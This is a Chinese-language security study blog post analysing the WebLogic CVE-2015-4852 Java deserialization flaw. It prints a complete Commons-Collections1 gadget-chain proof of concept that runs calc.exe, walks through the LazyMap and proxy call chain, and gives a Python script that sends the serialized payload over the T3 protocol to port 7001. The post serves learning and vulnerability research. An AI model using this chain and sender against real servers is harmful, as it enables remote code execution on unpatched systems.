通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

admin 2024年6月13日13:57:56评论10 views字数 13085阅读43分37秒阅读模式

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!

通过搜索welogic的历史漏洞CVE-2015-4852,来学习一下java的反序列化漏洞

CVE-2015-4852环境搭建及复现

* 概述
在10.3.6.0, 12.1.2.0, 12.1.3.0和12.2.1.0版本的WebLogic Server上都可以被利用,使用T3协议和TCP协议公用的`7001`端口进行RCE
* 调用栈
  java  transform:125, InvokerTransformer (org.apache.commons.collections.functors)  transform:122, ChainedTransformer (org.apache.commons.collections.functors)  get:157, LazyMap (org.apache.commons.collections.map)  invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)  entrySet:-1, $Proxy57 (com.sun.proxy)  readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)  invoke0:-1, NativeMethodAccessorImpl (sun.reflect)  invoke:39, NativeMethodAccessorImpl (sun.reflect)  invoke:25, DelegatingMethodAccessorImpl (sun.reflect)  invoke:597, Method (java.lang.reflect)  invokeReadObject:969, ObjectStreamClass (java.io)  readSerialData:1871, ObjectInputStream (java.io)  readOrdinaryObject:1775, ObjectInputStream (java.io)  readObject0:1327, ObjectInputStream (java.io)  readObject:349, ObjectInputStream (java.io)  readObject:66, InboundMsgAbbrev (weblogic.rjvm)  read:38, InboundMsgAbbrev (weblogic.rjvm)  readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)  init:213, MsgAbbrevInputStream (weblogic.rjvm)  dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)  dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)  dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)  readReadySocketOnce:967, SocketMuxer (weblogic.socket)  readReadySocket:899, SocketMuxer (weblogic.socket)  processSockets:130, PosixSocketMuxer (weblogic.socket)  run:29, SocketReaderRequest (weblogic.socket)  execute:42, SocketReaderRequest (weblogic.socket)  execute:145, ExecuteThread (weblogic.kernel)  run:117, ExecuteThread (weblogic.kernel)

分析

我们有几个特定的条件需要:
第一个需要构造好的payload,就是需要执行的代码
第二步我们需要构造反序列化链条
第三步我们需要使用T3协议进行发送,来进行触发readobjict

反序列化链条

这里使用的是cc1

poc代码
```javapackage ysoserial.payloads;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import org.jsoup.select.Evaluator;import org.python.antlr.op.In;import javax.swing.*;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CommonCollections1 {    public static void main(String[] args) throws Exception {        //Transformer        //Method f = Runtime.class.getMethod("getRuntime");        //Runtime r = (Runtime) f.invoke(null);        //r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");        //不能调用runtime的序列化,原因是没有继承searlize类,使用下面的方法来进行反射的使用        Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] { String.class,                Class[].class }, new                Object[] { "getRuntime",                new Class[0] }),            new InvokerTransformer("invoke",                new Class[] { Object.class, Object[].class },                new Object[] { null, new Object[0] }),            new InvokerTransformer("exec", new Class[] { String.class },                new String[] {                    "calc.exe" }),        };        Transformer transformerChain = new            ChainedTransformer(transformers);        Map innerMap = new HashMap();//        innerMap.put("value", "xxxx");        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        // 使用反射将AnnotationInvocationHandler来进行示例化,并传入我们的构造的map        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);        //对AnnotationInvocationHandler来进行proxy        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},  handler);        //代理之后的对象叫做proxymap,我们不能直接序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以使用AnnotationInvocationHandler对这个proxymap进行包裹        handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(handler);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new            ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

LazyMap

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform

javapublic Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}

sun.reflect.annotation.AnnotationInvocationHandler readObject方法中并没有直接调用到 Mapget方法,所以我们找到了另一条路,使用AnnotationInvocationHandlerinvoke方法,也就是对象代理。

java public Object invoke(Object var1, Method var2, Object[] var3) {        String var4 = var2.getName();        Class[] var5 = var2.getParameterTypes();        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {            return this.equalsImpl(var3[0]);        } else if (var5.length != 0) {            throw new AssertionError("Too many parameters for an annotation method");        } else {            switch (var4) {                case "toString":                    return this.toStringImpl();                case "hashCode":                    return this.hashCodeImpl();                case "annotationType":                    return this.type;                default:                    //这里调用了value方法                    Object var6 = this.memberValues.get(var4);                    if (var6 == null) {                        throw new IncompleteAnnotationException(this.type, var4);                    } else if (var6 instanceof ExceptionProxy) {                        throw ((ExceptionProxy)var6).generateException();                    } else {                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {                            var6 = this.cloneArray(var6);                        }                        return var6;                    }            }        }    }
对象代理
对象代理(参考:https://www.cnblogs.com/caoweixiong/p/13141220.html

我们可以粗浅的认为,对象代理就是一个复合函数,类似g(f(x)),来进行劫持一个对象内部的方法调用,我们需要用到一个类是 java.reflect.Proxy

javapublic static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

newProxyInstance需要三个参数:

第一个是classloader,我们通常都使用默认的

第二个参数是我们需要代理的接口的集合

第三个参数是一个实现了InvocationHandler的对象,里面包含了具体代理的逻辑

使用LazyMap构造利用链

我们先构造一个transformer时候的ChainedTransformer对象

javaTransformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },     new Object[] { "getRuntime",new Class[0] }),    new InvokerTransformer("invoke",    new Class[] { Object.class, Object[].class },    new Object[] { null, new Object[0] }),    new InvokerTransformer("exec", new Class[] { String.class },    new String[] {"calc.exe" }),        };    Transformer transformerChain = new ChainedTransformer(transformers);

我们使用LazyMap来进行替换TransformedMap

javaMap outerMap = LazyMap.decorate(innerMap, transformerChain);

接着,需要对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

java // 使用反射将AnnotationInvocationHandler来进行示例化,并传入我们的构造的mapClass clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);//对AnnotationInvocationHandler来进行proxyMap proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},  handler);

但是我们不能直接对prxymap直接进行序列化,因为我们的入口点是readobject函数,我们还需要再次对proxymap进行包裹

javahandler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
构造链
javaAnnotationInvocationHandler的readobject函数    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {        var1.defaultReadObject();        AnnotationType var2 = null;        try {            var2 = AnnotationType.getInstance(this.type);        } catch (IllegalArgumentException var9) {            throw new InvalidObjectException("Non-annotation type in annotation serial stream");        }        Map var3 = var2.memberTypes();    //此处是调用点        Iterator var4 = this.memberValues.entrySet().iterator();        while(var4.hasNext()) {            Entry var5 = (Entry)var4.next();            String var6 = (String)var5.getKey();            Class var7 = (Class)var3.get(var6);            if (var7 != null) {                Object var8 = var5.getValue();                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));                }            }        }    }
bash->AnnotationInvocationHandler.readObject()      ->mapProxy.entrySet().iterator()  //动态代理类          ->AnnotationInvocationHandler.invoke()            ->LazyMap.get()                ->ChainedTransformer.transform()                ->ConstantTransformer.transform()                    ->InvokerTransformer.transform()                    ->…………
思考

环境问题搭配,因为我用的是8u111AnnotationInvocationHandler readobject

java       private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {          ObjectInputStream.GetField var2 = var1.readFields();          Class var3 = (Class)var2.get("type", (Object)null);          Map var4 = (Map)var2.get("memberValues", (Object)null);          AnnotationType var5 = null;          try {              var5 = AnnotationType.getInstance(var3);          } catch (IllegalArgumentException var13) {              throw new InvalidObjectException("Non-annotation type in annotation serial stream");          }          Map var6 = var5.memberTypes();          LinkedHashMap var7 = new LinkedHashMap();          String var10;          Object var11;          for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {              Map.Entry var9 = (Map.Entry)var8.next();              var10 = (String)var9.getKey();              var11 = null;              Class var12 = (Class)var6.get(var10);              if (var12 != null) {                  var11 = var9.getValue();                  if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {                      var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));                  }              }          }          AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);          AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);      }

并没有出现Iterator var4 = this.memberValues.entrySet().iterator();的类似的调用map函数的语句,但是再debug的时候依然会弹出计算器,原因是在debug的时候下面会使用一些经过proxymap对象的函数,类似tostring,所以会造成invoke的调用来弹出计算器

T3协议脚本学习

根据poc脚本来简单学习一下如何构造T3协议

pythonimport socketimport structdef exp(host, port):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    server_address = (host, int(port))    data = ""    try:        sock.connect(server_address)        headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)        sock.sendall(headers)        data = sock.recv(2)        f = open('./tmp', 'rb')        payload_obj = f.read()        f.close()        payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')        payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')        payload2 = payload_obj        payload = payload1 + payload2 + payload3        payload = struct.pack('>I', len(payload)) + payload[4:]        sock.send(payload)        data = sock.recv(4096)    except socket.error as e:        print (u'socket 连接异常!')    finally:        sock.close()exp('172.16.2.129', 7001)
使用命令
bashsudo tcpdump -i any port 7001 -w t3.pcap

将反序列化过程中的流量包截取下来

追踪tcp流,首先看发送的head

通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

得到了回复是weblogic的版本
使用tcp contains ac:ed:00:05进行过滤,追踪tcp流,然后转为c数组

通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

网上了解到总共存在两种方式来构造java序列化数据,第一种是将weblogic发送的java序列化数据的第二到第七部分的java序列化数据替换为恶意的序列化数据

通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

第二种为weblogic发送的java序列化数据的第一部分与恶意的序列化数据进行拼接

通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

脚本中的payload为第一个部分,前四个字节(0x5ba)为数据包的长度,payload3为其它的java反序列化数据,然后在中间插上我们的恶意数据

总结

以前接触的java漏洞也比较少,这次学习花了很久的时间,主要是反序列化链条实在太令人头痛了,还有就是以前也从来没有使用过wireshark来分析过协议,这一次主要简单学习一下脚本到底构造了什么内容,这些都是最基础的内容,后面会进行继续跟进学习,看这些代码是怎么进行不断修复,又是怎么有人会进行不断的绕过。

关注我们

公众号回复2024Hw应急工具”获取Hw应急工具集
公众号回复简历模版”获取Hw简历模版
公众号回复“2024面经大全获取全套面经以及回答思路

原文始发于微信公众号(极星信安):通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月13日13:57:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞https://cn-sec.com/archives/2842735.html

发表评论

匿名网友 填写信息